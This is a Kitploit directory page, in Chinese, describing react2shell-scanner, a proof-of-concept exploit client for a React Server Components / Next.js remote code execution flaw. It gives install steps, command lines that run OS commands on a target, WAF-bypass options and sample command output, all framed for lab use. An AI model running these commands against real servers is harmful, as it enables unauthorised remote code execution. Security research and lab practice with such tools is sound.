Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-scanner — 基于精确检测的RSC/Next.js远程代码执行漏洞(CVE-2025-55182,CVE-2025-66478) | Kitploit
工具/GitHubGitHub/hidden-investigations/react2shell-scanner
漏洞扫描器漏洞利用Web应用程序漏洞利用WAF绕过渗透测试学习与教育
GitHubhidden-investigations/react2shell-scanner

react2shell-scanner

基于精确检测的RSC/Next.js远程代码执行漏洞(CVE-2025-55182,CVE-2025-66478)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
网站
56个月前尚未审核

React2Shell 扫描器 – 附带 PoC

CVE-2025-55182 – React Server Components RCE PoC
针对 Hidden Investigations React2Shell 实验室的教育性利用客户端。

本仓库包含针对 React2Shell 漏洞(CVE-2025-55182)的单主机概念验证(PoC)利用工具,该漏洞影响配置不当的 React Server Components / Next.js 应用程序。

其设计仅用于官方 Hidden Investigations React2Shell 实验室 或您明确拥有/管理的系统。


⚠️ 法律与道德免责声明

本项目严格用于教育和防御性安全研究:

  • 仅可在以下系统上使用此工具:
    • 官方 Hidden Investigations React2Shell 实验室,或
    • 您拥有或已获得明确书面许可进行测试的系统。
  • 不得将其指向任何随机网站、生产系统或您无法控制的基础设施。
  • 作者和 Hidden Investigations 不对滥用或损害承担任何责任。

使用此工具即表示您同意遵守所有适用的法律法规。


功能特点

  • 🔥 针对 CVE-2025-55182 的 React2Shell 利用客户端
  • 🎯 单主机聚焦(无大规模扫描)
  • 📡 支持自定义路径和路径列表
  • 🧪 安全检查模式(不执行操作系统命令,仅探测标识)
  • 🪟 Windows 友好模式(默认使用 whoami)
  • 🛡️ WAF 绕过辅助:
    • 垃圾多部分字段(--waf-bypass,--waf-bypass-size)
    • Vercel 布局调整(--vercel-waf-bypass)
  • 🔐 TLS 选项(--insecure,自定义请求头)
  • 🧾 JSON 输出(-o/--output,--all-results)
  • 🧘 干净的静默模式输出(方便直接传递给其他工具)

系统要求

  • Python:3.8+(已在 Python 3.10+ 上测试)
  • 依赖:
    • requests

通过以下命令安装依赖:

root@kitploit:~
pip install -r requirements.txt

安装

  1. 克隆 Hidden Investigations 仓库:
root@kitploit:~
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
  1. (可选但推荐)创建虚拟环境:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate   # 在 Windows 上:venv\Scripts\activate
  1. 安装依赖:
root@kitploit:~
pip install -r requirements.txt
  1. 运行工具:
root@kitploit:~
python3 react2shell-scanner.py -h

使用方法

基础帮助:

root@kitploit:~
python3 react2shell-scanner.py -h

该工具需要目标 URL:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# 或
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

如果不带 -t/--target 或 -u/--url 运行,则会打印品牌帮助信息并退出。


命令行选项

目标与路径

注意: 此 PoC 仅支持单主机。-l/--list 选项存在但被有意禁用。


利用/载荷行为


HTTP / TLS 选项


输出/用户体验选项

静默模式示例(整洁的多行输出):

root@kitploit:~
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

输出:

root@kitploit:~
total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

批量扫描参数(有意禁用)

以下参数用于模仿 Assetnote 的 CLI,但在本 PoC 中未实现以避免大规模扫描的滥用:

选项状态
-l, --list未实现
--threads N未实现

如果使用 -l/--list,工具将打印警告并退出,建议使用 Assetnote 的原版 react2shell-scanner 进行大规模安全扫描。


示例

对本地实验室运行:

root@kitploit:~
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

使用更大的垃圾字段绕过 WAF:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

同一主机多路径:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

从文件读取路径:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

安全检查模式(不执行操作系统命令):

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

将 JSON 结果输出到文件:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

JSON 输出格式

当使用 -o/--output 时,工具会输出一个对象数组,如下所示:

root@kitploit:~
[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

致谢

  • Hidden Investigations – 感谢发布 React2Shell 教育实验室和 PoC 客户端。
  • @sakibulalikhan – 工具作者。
  • Assetnote – 通过他们的 react2shell-scanner 启发了 WAF 绕过思路。

许可证

本项目基于 MIT 许可证。详见 LICENSE。

📬 联系我们:[email protected]

下载工具
选项描述默认值
-t, --target目标 URL 或域名(必需,除非使用 --url)无
-u, --url--target 的别名(Assetnote 风格参数)无
--path要测试的路径(可多次使用,如 /,/_next)/
--path-file包含待测试路径的文件(每行一个路径)无
选项描述默认值
-c, --command在目标上执行的命令(当利用成功时)id
--safe-check使用安全检测载荷(不执行操作系统命令,仅标记字符串)关闭
--windows针对 Windows 目标调整默认值(例如命令为 id 时使用 whoami)关闭
--waf-bypass在请求体中预先添加大量垃圾多部分字段以绕过 WAF关闭
--waf-bypass-size KB使用 --waf-bypass 时垃圾字段的大小(KB)128
--vercel-waf-bypass使用另一种多部分布局以调整 Vercel WAF 行为(简化版 PoC)关闭
选项描述默认值
--timeout 秒数请求超时时间(秒)15(如果使用 --waf-bypass 且未设置超时则为 20)
-k, --insecure禁用 SSL 验证(类似 curl -k)关闭
-H, --header自定义请求头,如 -H "X-Forwarded-For: 127.0.0.1"(可重复)无
选项描述默认值
-o, --output 文件将 JSON 结果写入 文件无
--all-results使用 --output 时,同时包含非脆弱结果关闭
-v, --verbose详细模式——显示 HTTP 状态和 X-Action-Redirect 请求头关闭
-q, --quiet静默模式——成功时仅打印标准化后的命令输出关闭
--no-color禁用彩色终端输出关闭